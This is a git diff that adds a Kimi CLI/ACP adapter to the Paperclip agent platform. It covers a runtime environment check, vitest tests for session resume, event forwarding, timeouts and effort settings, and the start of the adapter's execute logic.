+    level: nodeVersionMeetsKimiAcpMinimum() ? "info" : "error",
+    message: nodeVersionMeetsKimiAcpMinimum()
+      ? `Node ${process.version} satisfies ACP runtime requirements.`
+      : `Node ${process.version} does not satisfy ACP runtime requirements.`,
+    hint: nodeVersionMeetsKimiAcpMinimum()
+      ? undefined
+      : `Run Kimi ACP with Node >=${MIN_ACP_NODE_VERSION} or switch engine=cli.`,
+  });
+
+  const command = resolveKimiAcpCommand(config);
+  const commandResolvable = await commandIsResolvable(command, resolveConfigPath(config), {
+    config,
+    executionTarget: ctx.executionTarget,
+  });
+  checks.push({
+    code: commandResolvable ? "kimi_acp_command_resolvable" : "kimi_acp_command_missing",
+    level: commandResolvable ? "info" : "error",
+    message: commandResolvable
+      ? `Kimi ACP command is executable: ${command}`
+      : `Kimi ACP command is not available: ${command}`,
+    hint: commandResolvable
+      ? undefined
+      : "Install the Kimi Code CLI with ACP support, or set agentCommand to a valid Kimi ACP server command.",
+  });
+
+  const envConfig = parseObject(config.env);
+  const considerHostEnv = !targetIsRemote;
+  const configModelName = envConfig.KIMI_MODEL_NAME;
+  const hostModelName = considerHostEnv ? process.env.KIMI_MODEL_NAME : undefined;
+  const configModelKey = envConfig.KIMI_MODEL_API_KEY;
+  const hostModelKey = considerHostEnv ? process.env.KIMI_MODEL_API_KEY : undefined;
+  if (
+    (isNonEmpty(configModelName) && isNonEmpty(configModelKey)) ||
+    (isNonEmpty(hostModelName) && isNonEmpty(hostModelKey))
+  ) {
+    const source =
+      isNonEmpty(configModelName) && isNonEmpty(configModelKey) ? "adapter config env" : "server environment";
+    checks.push({
+      code: "kimi_acp_credentials_detected",
+      level: "info",
+      message: "Kimi credentials are set for ACP authentication.",
+      detail: `KIMI_MODEL_NAME + KIMI_MODEL_API_KEY detected in ${source}.`,
+    });
+  } else if (!targetIsRemote) {
+    checks.push({
+      code: "kimi_acp_credentials_not_detected",
+      level: "warn",
+      message: "No Kimi ACP credentials were detected.",
+      hint: "Run `kimi login` (OAuth) or set the KIMI_MODEL_NAME + KIMI_MODEL_API_KEY environment pair before starting a Kimi ACP agent.",
+    });
+  }
+
+  const mode = firstNonEmptyString(config.mode, config.acpMode) ?? DEFAULT_ACP_ENGINE_MODE;
+  const warmHandleIdleMs = asNumber(
+    config.warmHandleIdleMs ?? config.acpWarmHandleIdleMs,
+    DEFAULT_ACP_ENGINE_WARM_HANDLE_IDLE_MS,
+  );
+  checks.push({
+    code: "kimi_acp_runtime_scaffold",
+    level: "info",
+    message: "Kimi ACP runtime execution is available through the shared ACP engine.",
+    detail: `mode=${mode}; warmHandleIdleMs=${warmHandleIdleMs}`,
+  });
+
+  return {
+    adapterType: ctx.adapterType,
+    status: summarizeStatus(checks),
+    checks,
+    testedAt: new Date().toISOString(),
+  };
+}
diff --git a/packages/adapters/kimi-local/src/server/execute.test.ts b/packages/adapters/kimi-local/src/server/execute.test.ts
new file mode 100644
index 00000000000..dafbc212b55
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/execute.test.ts
@@ -0,0 +1,412 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { AdapterExecutionContext } from "@paperclipai/adapter-utils";
+
+const ensureRuntimeInstalledMock = vi.hoisted(() => vi.fn(async () => {}));
+const ensureCommandMock = vi.hoisted(() => vi.fn(async () => {}));
+const prepareRuntimeMock = vi.hoisted(() => vi.fn(async () => ({
+  workspaceRemoteDir: null,
+  restoreWorkspace: async () => {},
+})));
+const resolveCommandForLogsMock = vi.hoisted(() => vi.fn(async () => "kimi"));
+const runProcessMock = vi.hoisted(() => vi.fn());
+
+vi.mock("@paperclipai/adapter-utils/execution-target", () => ({
+  adapterExecutionTargetIsRemote: () => false,
+  adapterExecutionTargetRemoteCwd: (_target: unknown, cwd: string) => cwd,
+  overrideAdapterExecutionTargetRemoteCwd: (target: unknown, _cwd: string) => target,
+  adapterExecutionTargetSessionIdentity: () => ({ kind: "local" }),
+  adapterExecutionTargetSessionMatches: () => true,
+  adapterExecutionTargetUsesManagedHome: () => false,
+  adapterExecutionTargetUsesPaperclipBridge: () => false,
+  describeAdapterExecutionTarget: () => "local",
+  ensureAdapterExecutionTargetCommandResolvable: ensureCommandMock,
+  ensureAdapterExecutionTargetRuntimeCommandInstalled: ensureRuntimeInstalledMock,
+  prepareAdapterExecutionTargetRuntime: prepareRuntimeMock,
+  readAdapterExecutionTarget: ({ executionTarget }: { executionTarget?: unknown }) => executionTarget ?? { kind: "local" },
+  readAdapterExecutionTargetHomeDir: async () => null,
+  resolveAdapterExecutionTargetCommandForLogs: resolveCommandForLogsMock,
+  resolveAdapterExecutionTargetTimeoutSec: (_target: unknown, timeoutSec: number) => timeoutSec,
+  runAdapterExecutionTargetProcess: runProcessMock,
+  runAdapterExecutionTargetShellCommand: async () => ({ exitCode: 0, stdout: "", stderr: "" }),
+  startAdapterExecutionTargetPaperclipBridge: async () => null,
+}));
+
+import { execute } from "./execute.js";
+
+const tempRoots: string[] = [];
+
+async function makeTempRoot() {
+  const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-kimi-local-"));
+  tempRoots.push(root);
+  return root;
+}
+
+function makeContext(root: string, overrides: Partial<AdapterExecutionContext> = {}): AdapterExecutionContext {
+  const ctx: AdapterExecutionContext = {
+    runId: "run-1",
+    agent: {
+      id: "agent-1",
+      companyId: "company-1",
+      name: "Kimi Agent",
+      adapterType: "kimi_local",
+      adapterConfig: {},
+    },
+    runtime: {
+      sessionId: null,
+      sessionParams: null,
+      sessionDisplayId: null,
+      taskKey: null,
+    },
+    config: { cwd: root },
+    context: {},
+    authToken: "run-token",
+    onLog: async () => {},
+    ...overrides,
+  };
+  // Default these CLI-lane tests to the CLI engine so they never depend on
+  // whether `kimi` is resolvable on PATH (ACP is the runtime default). Tests
+  // that need ACP can set engine explicitly in their config override.
+  ctx.config = { engine: "cli", ...ctx.config };
+  return ctx;
+}
+
+const KIMI_STDOUT = [
+  JSON.stringify({ role: "assistant", content: "done" }),
+  JSON.stringify({
+    role: "meta",
+    type: "session.resume_hint",
+    session_id: "session_abc-123",
+    command: "kimi -r session_abc-123",
+  }),
+].join("\n");
+
+describe("kimi_local execute", () => {
+  beforeEach(() => {
+    ensureRuntimeInstalledMock.mockClear();
+    ensureCommandMock.mockClear();
+    prepareRuntimeMock.mockClear();
+    resolveCommandForLogsMock.mockClear();
+    runProcessMock.mockReset();
+  });
+
+  afterEach(async () => {
+    await Promise.all(tempRoots.splice(0).map((root) => fs.rm(root, { recursive: true, force: true })));
+  });
+
+  it("runs kimi headless with stream-json and captures the session id from the meta event", async () => {
+    const root = await makeTempRoot();
+    let seenArgs: string[] = [];
+    let seenEnv: Record<string, string> = {};
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args, options) => {
+      seenArgs = args;
+      seenEnv = options.env;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    const result = await execute(makeContext(root));
+
+    expect(seenArgs[0]).toBe("--output-format");
+    expect(seenArgs[1]).toBe("stream-json");
+    expect(seenArgs).not.toContain("-m");
+    expect(seenArgs).not.toContain("-r");
+    expect(seenArgs[seenArgs.length - 2]).toBe("-p");
+    expect(seenEnv.CI).toBe("1");
+    expect(seenEnv.NO_COLOR).toBe("1");
+    expect(seenEnv.KIMI_CODE_NO_AUTO_UPDATE).toBe("1");
+    expect(result).toMatchObject({
+      exitCode: 0,
+      errorMessage: null,
+      summary: "done",
+      sessionId: "session_abc-123",
+      sessionDisplayId: "session_abc-123",
+    });
+    expect(result.sessionParams).toMatchObject({
+      sessionId: "session_abc-123",
+      cwd: root,
+    });
+  });
+
+  it("forwards streamed stdout lines to onEvent as assistant + tool_call runtime events", async () => {
+    const root = await makeTempRoot();
+    const events: Array<{ eventType: string; message?: string; payload?: Record<string, unknown> }> = [];
+    const stream =
+      `${JSON.stringify({ role: "assistant", content: "Here is my plan" })}\n` +
+      `${JSON.stringify({
+        role: "assistant",
+        content: "running",
+        tool_calls: [{ type: "function", id: "t1", function: { name: "Bash", arguments: "{}" } }],
+      })}\n`;
+    runProcessMock.mockImplementation(async (_runId, _target, _command, _args, options) => {
+      // Split mid-line so the wrapper's newline buffering is exercised across chunks.
+      await options.onLog("stdout", stream.slice(0, 20));
+      await options.onLog("stdout", stream.slice(20));
+      return { exitCode: 0, signal: null, timedOut: false, stdout: stream, stderr: "" };
+    });
+
+    await execute(makeContext(root, { onEvent: async (event) => { events.push(event); } }));
+
+    expect(events).toContainEqual({
+      eventType: "assistant",
+      stream: "stdout",
+      message: "Here is my plan",
+      payload: { content: "Here is my plan" },
+    });
+    expect(events).toContainEqual({ eventType: "tool_call", stream: "stdout", payload: { toolName: "Bash" } });
+  });
+
+  it("forwards the final stdout line to onEvent even without a trailing newline", async () => {
+    const root = await makeTempRoot();
+    const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+    // Kimi can close stdout after a valid event with no trailing newline; the
+    // forwarder must flush it so the last tool call reaches live status.
+    const stream = `${JSON.stringify({
+      role: "assistant",
+      tool_calls: [{ type: "function", id: "t9", function: { name: "Read", arguments: "{}" } }],
+    })}`;
+    runProcessMock.mockImplementation(async (_runId, _target, _command, _args, options) => {
+      await options.onLog("stdout", stream);
+      return { exitCode: 0, signal: null, timedOut: false, stdout: stream, stderr: "" };
+    });
+
+    await execute(makeContext(root, { onEvent: async (event) => { events.push(event); } }));
+
+    expect(events).toContainEqual({ eventType: "tool_call", stream: "stdout", payload: { toolName: "Read" } });
+  });
+
+  it("passes -m only when a model is configured", async () => {
+    const root = await makeTempRoot();
+    let seenArgs: string[] = [];
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args) => {
+      seenArgs = args;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, { config: { cwd: root, model: "kimi-code/k3" } }));
+
+    expect(seenArgs).toContain("-m");
+    expect(seenArgs[seenArgs.indexOf("-m") + 1]).toBe("kimi-code/k3");
+  });
+
+  it("resumes with -r when the stored session cwd matches the run cwd", async () => {
+    const root = await makeTempRoot();
+    let seenArgs: string[] = [];
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args) => {
+      seenArgs = args;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, {
+      runtime: {
+        sessionId: "session_abc-123",
+        sessionParams: { sessionId: "session_abc-123", cwd: root },
+        sessionDisplayId: "session_abc-123",
+        taskKey: null,
+      },
+    }));
+
+    expect(seenArgs).toContain("-r");
+    expect(seenArgs[seenArgs.indexOf("-r") + 1]).toBe("session_abc-123");
+  });
+
+  it("starts a fresh session when the stored session cwd differs", async () => {
+    const root = await makeTempRoot();
+    let seenArgs: string[] = [];
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args) => {
+      seenArgs = args;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, {
+      runtime: {
+        sessionId: "session_abc-123",
+        sessionParams: { sessionId: "session_abc-123", cwd: "/some/other/dir" },
+        sessionDisplayId: "session_abc-123",
+        taskKey: null,
+      },
+    }));
+
+    expect(seenArgs).not.toContain("-r");
+  });
+
+  it("retries fresh when the resume session is unrecoverable", async () => {
+    const root = await makeTempRoot();
+    const seenArgLists: string[][] = [];
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args) => {
+      seenArgLists.push(args);
+      if (seenArgLists.length === 1) {
+        return { exitCode: 1, signal: null, timedOut: false, stdout: "", stderr: "Error: unknown session 'session_stale'" };
+      }
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    const result = await execute(makeContext(root, {
+      runtime: {
+        sessionId: "session_stale",
+        sessionParams: { sessionId: "session_stale", cwd: root },
+        sessionDisplayId: "session_stale",
+        taskKey: null,
+      },
+    }));
+
+    expect(runProcessMock).toHaveBeenCalledTimes(2);
+    expect(seenArgLists[0]).toContain("-r");
+    expect(seenArgLists[1]).not.toContain("-r");
+    expect(result).toMatchObject({ exitCode: 0, sessionId: "session_abc-123" });
+  });
+
+  it("maps auth failures to the kimi_auth_required error code", async () => {
+    const root = await makeTempRoot();
+    runProcessMock.mockImplementation(async () => ({
+      exitCode: 1,
+      signal: null,
+      timedOut: false,
+      stdout: "",
+      stderr: "Error: 401 Unauthorized — run kimi login to authenticate",
+    }));
+
+    const result = await execute(makeContext(root));
+
+    expect(result.exitCode).toBe(1);
+    expect(result.errorCode).toBe("kimi_auth_required");
+    expect(result.errorMessage).toBeTruthy();
+  });
+
+  it("reports a timeout when the process exceeds timeoutSec", async () => {
+    const root = await makeTempRoot();
+    runProcessMock.mockImplementation(async () => ({
+      exitCode: null,
+      signal: "SIGTERM",
+      timedOut: true,
+      stdout: "",
+      stderr: "",
+    }));
+
+    const result = await execute(makeContext(root, { config: { cwd: root, timeoutSec: 5 } }));
+
+    expect(result.timedOut).toBe(true);
+    expect(result.errorMessage).toContain("5s");
+  });
+
+  it("reports failure when the process is killed by a signal without timing out", async () => {
+    const root = await makeTempRoot();
+    runProcessMock.mockImplementation(async () => ({
+      exitCode: null,
+      signal: "SIGKILL",
+      timedOut: false,
+      stdout: "",
+      stderr: "",
+    }));
+
+    const result = await execute(makeContext(root));
+
+    expect(result.timedOut).toBe(false);
+    expect(result.errorMessage).toContain("SIGKILL");
+    expect(result.errorMessage).not.toBeNull();
+  });
+
+  it("preserves user-configured headless env values", async () => {
+    const root = await makeTempRoot();
+    let seenEnv: Record<string, string> = {};
+    runProcessMock.mockImplementation(async (_runId, _target, _command, _args, options) => {
+      seenEnv = options.env;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, {
+      config: {
+        cwd: root,
+        env: {
+          CI: "0",
+          NO_COLOR: "0",
+          KIMI_CODE_NO_AUTO_UPDATE: "0",
+          TERM: "xterm-256color",
+        },
+      },
+    }));
+
+    expect(seenEnv.CI).toBe("0");
+    expect(seenEnv.NO_COLOR).toBe("0");
+    expect(seenEnv.KIMI_CODE_NO_AUTO_UPDATE).toBe("0");
+    expect(seenEnv.TERM).toBe("xterm-256color");
+  });
+
+  it("forwards configured effort as KIMI_MODEL_THINKING_EFFORT for effort-capable models", async () => {
+    const root = await makeTempRoot();
+    let seenEnv: Record<string, string> = {};
+    runProcessMock.mockImplementation(async (_runId, _target, _command, _args, options) => {
+      seenEnv = options.env;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, { config: { cwd: root, model: "kimi-code/k3", effort: "high" } }));
+
+    expect(seenEnv.KIMI_MODEL_THINKING_EFFORT).toBe("high");
+  });
+
+  it("maps the medium effort tier onto high since Kimi has no medium", async () => {
+    const root = await makeTempRoot();
+    let seenEnv: Record<string, string> = {};
+    runProcessMock.mockImplementation(async (_runId, _target, _command, _args, options) => {
+      seenEnv = options.env;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, { config: { cwd: root, model: "kimi-code/k3", effort: "medium" } }));
+
+    expect(seenEnv.KIMI_MODEL_THINKING_EFFORT).toBe("high");
+  });
+
+  it("does not forward effort for models without support_efforts", async () => {
+    const root = await makeTempRoot();
+    let seenEnv: Record<string, string> = {};
+    runProcessMock.mockImplementation(async (_runId, _target, _command, _args, options) => {
+      seenEnv = options.env;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, {
+      config: { cwd: root, model: "kimi-code/kimi-for-coding", effort: "high" },
+    }));
+
+    expect(seenEnv.KIMI_MODEL_THINKING_EFFORT).toBeUndefined();
+  });
+
+  it("adds --add-dir for the instructions directory and names sibling files in the prompt", async () => {
+    const root = await makeTempRoot();
+    const instructionsDir = path.join(root, "instructions");
+    await fs.mkdir(instructionsDir, { recursive: true });
+    const instructionsFilePath = path.join(instructionsDir, "AGENTS.md");
+    await fs.writeFile(instructionsFilePath, "# Role\nYou are the lead agent.\n");
+
+    let seenArgs: string[] = [];
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args) => {
+      seenArgs = args;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, { config: { cwd: root, instructionsFilePath } }));
+
+    expect(seenArgs).toContain("--add-dir");
+    expect(seenArgs[seenArgs.indexOf("--add-dir") + 1]).toBe(instructionsDir);
+    const prompt = seenArgs[seenArgs.length - 1];
+    expect(prompt).toContain("./HEARTBEAT.md");
+    expect(prompt).toContain("./SOUL.md");
+    expect(prompt).toContain("./TOOLS.md");
+  });
+
+  it("does not pass --skills-dir when no skills are desired", async () => {
+    const root = await makeTempRoot();
+    let seenArgs: string[] = [];
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args) => {
+      seenArgs = args;
+      return { exitCode: 0, signal: null, timedOut: false, stdout: KIMI_STDOUT, stderr: "" };
+    });
+
+    await execute(makeContext(root, { config: { cwd: root, model: "kimi-code/k3" } }));
+
+    expect(seenArgs).not.toContain("--skills-dir");
+  });
+});
diff --git a/packages/adapters/kimi-local/src/server/execute.ts b/packages/adapters/kimi-local/src/server/execute.ts
new file mode 100644
index 00000000000..1b6f332db93
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/execute.ts
@@ -0,0 +1,726 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import type { AdapterExecutionContext, AdapterExecutionResult } from "@paperclipai/adapter-utils";
+import {
+  adapterExecutionTargetIsRemote,
+  adapterExecutionTargetRemoteCwd,
+  overrideAdapterExecutionTargetRemoteCwd,
+  adapterExecutionTargetSessionIdentity,
+  adapterExecutionTargetSessionMatches,
+  adapterExecutionTargetUsesManagedHome,
+  adapterExecutionTargetUsesPaperclipBridge,
+  describeAdapterExecutionTarget,
+  ensureAdapterExecutionTargetCommandResolvable,
+  ensureAdapterExecutionTargetRuntimeCommandInstalled,
+  prepareAdapterExecutionTargetRuntime,
+  readAdapterExecutionTarget,
+  resolveAdapterExecutionTargetTimeoutSec,
+  resolveAdapterExecutionTargetCommandForLogs,
+  runAdapterExecutionTargetProcess,
+  startAdapterExecutionTargetPaperclipBridge,
+} from "@paperclipai/adapter-utils/execution-target";
+import {
+  asNumber,
+  asString,
+  asStringArray,
+  buildPaperclipEnv,
+  buildInvocationEnvForLogs,
+  ensureAbsoluteDirectory,
+  joinPromptSections,
+  ensurePathInEnv,
+  refreshPaperclipWorkspaceEnvForExecution,
+  readPaperclipRuntimeSkillEntries,
+  readPaperclipIssueWorkModeFromContext,
+  resolvePaperclipDesiredSkillNames,
+  parseObject,
+  renderTemplate,
+  renderPaperclipWakePrompt,
+  isPaperclipRecoveryWakePayload,
+  stringifyPaperclipWakePayload,
+  DEFAULT_PAPERCLIP_AGENT_PROMPT_TEMPLATE,
+} from "@paperclipai/adapter-utils/server-utils";
+import {
+  SANDBOX_INSTALL_COMMAND,
+  modelSupportsEffort,
+  resolveKimiThinkingEffort,
+} from "../index.js";
+import {
+  describeKimiFailure,
+  detectKimiAuthRequired,
+  extractKimiRuntimeEvents,
+  isKimiSessionUnrecoverableError,
+  isKimiTransientNetworkError,
+  parseKimiJsonl,
+} from "./parse.js";
+import {
+  createKimiAcpExecutor,
+  formatKimiAcpFallbackMessage,
+  resolveKimiExecutionEngineForRun,
+} from "./acp.js";
+import { firstNonEmptyLine } from "./utils.js";
+
+const __moduleDir = path.dirname(fileURLToPath(import.meta.url));
+
+const executeKimiAcp = createKimiAcpExecutor();
+
+/**
+ * Wrap `onLog` so each complete kimi stream-json stdout line is also mapped to
+ * `onEvent` runtime events (assistant snippet, tool name). This keeps the raw
+ * run log intact while lighting up the issue-thread activity indicator, which
+ * reads `currentToolName` / `lastAssistantSnippet` / `lastEventAt` derived from
+ * `onEvent` rather than from the raw log stream. Stdout arrives in arbitrary
+ * chunks, so lines are buffered and split on newlines. `flush` must be called
+ * once the process exits so the final line reaches `onEvent` even when kimi
+ * closes stdout without a trailing newline (otherwise the last assistant
+ * message or tool call would be missing from live status).
+ */
+function createKimiEventForwardingLog(
+  onLog: AdapterExecutionContext["onLog"],
+  onEvent: AdapterExecutionContext["onEvent"],
+): { log: AdapterExecutionContext["onLog"]; flush: () => Promise<void> } {
+  if (!onEvent) return { log: onLog, flush: async () => {} };
+  let buffer = "";
+  const emitLine = async (raw: string): Promise<void> => {
+    const line = raw.trim();
+    if (!line) return;
+    for (const event of extractKimiRuntimeEvents(line)) {
+      await onEvent({ eventType: event.eventType, stream: "stdout", message: event.message, payload: event.payload });
+    }
+  };
+  return {
+    log: async (stream, chunk) => {
+      await onLog(stream, chunk);
+      if (stream !== "stdout") return;
+      buffer += chunk;
+      let newlineIndex: number;
+      while ((newlineIndex = buffer.indexOf("\n")) !== -1) {
+        const line = buffer.slice(0, newlineIndex);
+        buffer = buffer.slice(newlineIndex + 1);
+        await emitLine(line);
+      }
+    },
+    flush: async () => {
+      const remaining = buffer;
+      buffer = "";
+      await emitLine(remaining);
+    },
+  };
+}
+
+function hasNonEmptyEnvValue(env: Record<string, string>, key: string): boolean {
+  const raw = env[key];
+  return typeof raw === "string" && raw.trim().length > 0;
+}
+
+function resolveKimiBillingType(env: Record<string, string>): "api" | "subscription" {
+  return hasNonEmptyEnvValue(env, "KIMI_MODEL_API_KEY") ? "api" : "subscription";
+}
+
+/**
+ * Headless-safe environment for unattended `kimi -p` runs. CI=1 disables
+ * theme detection, NO_COLOR=1 keeps stdout parseable, and
+ * KIMI_CODE_NO_AUTO_UPDATE=1 skips the update preflight. User-configured
+ * values always win.
+ */
+function buildKimiHeadlessEnv(env: Record<string, string>): Record<string, string> {
+  const next = { ...env };
+  if (!next.CI?.trim()) next.CI = "1";
+  if (!next.NO_COLOR?.trim()) next.NO_COLOR = "1";
+  if (!next.KIMI_CODE_NO_AUTO_UPDATE?.trim()) next.KIMI_CODE_NO_AUTO_UPDATE = "1";
+  if (!next.TERM?.trim()) next.TERM = "dumb";
+  return next;
+}
+
+function buildKimiRuntimeEnv(env: Record<string, string>): Record<string, string> {
+  return Object.fromEntries(
+    Object.entries(ensurePathInEnv({ ...process.env, ...buildKimiHeadlessEnv(env) })).filter(
+      (entry): entry is [string, string] => typeof entry[1] === "string",
+    ),
+  );
+}
+
+function renderPaperclipEnvNote(env: Record<string, string>): string {
+  const paperclipKeys = Object.keys(env)
+    .filter((key) => key.startsWith("PAPERCLIP_"))
+    .sort();
+  if (paperclipKeys.length === 0) return "";
+  return [
+    "Paperclip runtime note:",
+    `The following PAPERCLIP_* environment variables are available in this run: ${paperclipKeys.join(", ")}`,
+    "Do not assume these variables are missing without checking your shell environment.",
+    "",
+    "",
+  ].join("\n");
+}
+
+function renderApiAccessNote(env: Record<string, string>): string {
+  if (!hasNonEmptyEnvValue(env, "PAPERCLIP_API_URL") || !hasNonEmptyEnvValue(env, "PAPERCLIP_API_KEY")) return "";
+  return [
+    "Paperclip API access note:",
+    "Use shell commands with curl to make Paperclip API requests when needed.",
+    "Include X-Paperclip-Run-Id on mutating requests.",
+    "",
+    "",
+  ].join("\n");
+}
+
+async function buildKimiSkillsDir(
+  config: Record<string, unknown>,
+): Promise<string> {
+  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-kimi-skills-"));
+  const target = path.join(tmp, "skills");
+  await fs.mkdir(target, { recursive: true });
+  const availableEntries = await readPaperclipRuntimeSkillEntries(config, __moduleDir);
+  const desiredNames = new Set(resolvePaperclipDesiredSkillNames(config, availableEntries));
+  for (const entry of availableEntries) {
+    if (!desiredNames.has(entry.key)) continue;
+    await fs.symlink(entry.source, path.join(target, entry.runtimeName));
+  }
+  return target;
+}
+
+export async function execute(ctx: AdapterExecutionContext): Promise<AdapterExecutionResult> {
+  const engineSelection = await resolveKimiExecutionEngineForRun(ctx);
+  if (engineSelection.engine === "acp") {
+    try {
+      return await executeKimiAcp(ctx);
+    } catch (err) {
+      // An explicitly requested ACP engine surfaces its failure; the default
+      // (auto) selection falls back to the CLI lane with a diagnostic note.
+      if (engineSelection.explicit) throw err;
+      const reason = err instanceof Error ? err.message : String(err);
+      await ctx.onLog("stderr", formatKimiAcpFallbackMessage(`Kimi ACP startup failed: ${reason}`));
+    }
+  } else if (!engineSelection.explicit && engineSelection.fallbackReason) {
+    await ctx.onLog("stderr", formatKimiAcpFallbackMessage(engineSelection.fallbackReason));
+  }
+
+  const { runId, agent, runtime, config, context, onLog, onMeta, onEvent, onSpawn, authToken } = ctx;
+  const executionTarget = readAdapterExecutionTarget({
+    executionTarget: ctx.executionTarget,
+    legacyRemoteExecution: ctx.executionTransport?.remoteExecution,
+  });
+  const executionTargetIsRemote = adapterExecutionTargetIsRemote(executionTarget);
+
+  const promptTemplate = asString(
+    config.promptTemplate,
+    DEFAULT_PAPERCLIP_AGENT_PROMPT_TEMPLATE,
+  );
+  const command = asString(config.command, "kimi");
+  const model = asString(config.model, "").trim();
+
+  const workspaceContext = parseObject(context.paperclipWorkspace);
+  const workspaceCwd = asString(workspaceContext.cwd, "");
+  const workspaceSource = asString(workspaceContext.source, "");
+  const workspaceId = asString(workspaceContext.workspaceId, "");
+  const workspaceRepoUrl = asString(workspaceContext.repoUrl, "");
+  const workspaceRepoRef = asString(workspaceContext.repoRef, "");
+  const agentHome = asString(workspaceContext.agentHome, "");
+  const workspaceHints = Array.isArray(context.paperclipWorkspaces)
+    ? context.paperclipWorkspaces.filter(
+      (value): value is Record<string, unknown> => typeof value === "object" && value !== null,
+    )
+    : [];
+  const configuredCwd = asString(config.cwd, "");
+  const useConfiguredInsteadOfAgentHome = workspaceSource === "agent_home" && configuredCwd.length > 0;
+  const effectiveWorkspaceCwd = useConfiguredInsteadOfAgentHome ? "" : workspaceCwd;
+  const cwd = effectiveWorkspaceCwd || configuredCwd || process.cwd();
+  let effectiveExecutionCwd = adapterExecutionTargetRemoteCwd(executionTarget, cwd);
+  await ensureAbsoluteDirectory(cwd, { createIfMissing: true });
+  const kimiSkillEntries = await readPaperclipRuntimeSkillEntries(config, __moduleDir);
+  const desiredKimiSkillNames = resolvePaperclipDesiredSkillNames(config, kimiSkillEntries);
+  const envConfig = parseObject(config.env);
+
+  const hasExplicitApiKey =
+    typeof envConfig.PAPERCLIP_API_KEY === "string" && envConfig.PAPERCLIP_API_KEY.trim().length > 0;
+  const env: Record<string, string> = { ...buildPaperclipEnv(agent) };
+  env.PAPERCLIP_RUN_ID = runId;
+  const wakeTaskId =
+    (typeof context.taskId === "string" && context.taskId.trim().length > 0 && context.taskId.trim()) ||
+    (typeof context.issueId === "string" && context.issueId.trim().length > 0 && context.issueId.trim()) ||
+    null;
+  const wakeReason =
+    typeof context.wakeReason === "string" && context.wakeReason.trim().length > 0
+      ? context.wakeReason.trim()
+      : null;
+  const wakeCommentId =
+    (typeof context.wakeCommentId === "string" && context.wakeCommentId.trim().length > 0 && context.wakeCommentId.trim()) ||
+    (typeof context.commentId === "string" && context.commentId.trim().length > 0 && context.commentId.trim()) ||
+    null;
+  const approvalId =
+    typeof context.approvalId === "string" && context.approvalId.trim().length > 0
+      ? context.approvalId.trim()
+      : null;
+  const approvalStatus =
+    typeof context.approvalStatus === "string" && context.approvalStatus.trim().length > 0
+      ? context.approvalStatus.trim()
+      : null;
+  const linkedIssueIds = Array.isArray(context.issueIds)
+    ? context.issueIds.filter((value): value is string => typeof value === "string" && value.trim().length > 0)
+    : [];
+  const wakePayloadJson = stringifyPaperclipWakePayload(context.paperclipWake);
+  const issueWorkMode = readPaperclipIssueWorkModeFromContext(context);
+  if (wakeTaskId) env.PAPERCLIP_TASK_ID = wakeTaskId;
+  if (issueWorkMode) env.PAPERCLIP_ISSUE_WORK_MODE = issueWorkMode;
+  if (wakeReason) env.PAPERCLIP_WAKE_REASON = wakeReason;
+  if (wakeCommentId) env.PAPERCLIP_WAKE_COMMENT_ID = wakeCommentId;
+  if (approvalId) env.PAPERCLIP_APPROVAL_ID = approvalId;
+  if (approvalStatus) env.PAPERCLIP_APPROVAL_STATUS = approvalStatus;
+  if (linkedIssueIds.length > 0) env.PAPERCLIP_LINKED_ISSUE_IDS = linkedIssueIds.join(",");
+  if (wakePayloadJson) env.PAPERCLIP_WAKE_PAYLOAD_JSON = wakePayloadJson;
+  refreshPaperclipWorkspaceEnvForExecution({
+    env,
+    envConfig,
+    workspaceCwd: effectiveWorkspaceCwd,
+    workspaceSource,
+    workspaceId,
+    workspaceRepoUrl,
+    workspaceRepoRef,
+    workspaceHints,
+    agentHome,
+    executionTargetIsRemote,
+    executionCwd: effectiveExecutionCwd,
+  });
+  if (!hasExplicitApiKey && authToken) {
+    env.PAPERCLIP_API_KEY = authToken;
+  }
+  // Forward configured thinking effort as KIMI_MODEL_THINKING_EFFORT. Kimi has
+  // no per-invocation effort flag; this env var is an operational override that
+  // applies to Kimi providers (managed OAuth models included). Only send it for
+  // models that advertise support_efforts, and never clobber an explicit value.
+  const configuredEffort = asString(config.effort, "").trim();
+  if (configuredEffort && modelSupportsEffort(model) && !hasNonEmptyEnvValue(env, "KIMI_MODEL_THINKING_EFFORT")) {
+    const kimiEffort = resolveKimiThinkingEffort(configuredEffort);
+    if (kimiEffort) env.KIMI_MODEL_THINKING_EFFORT = kimiEffort;
+  }
+  const runtimeEnv = buildKimiRuntimeEnv(env);
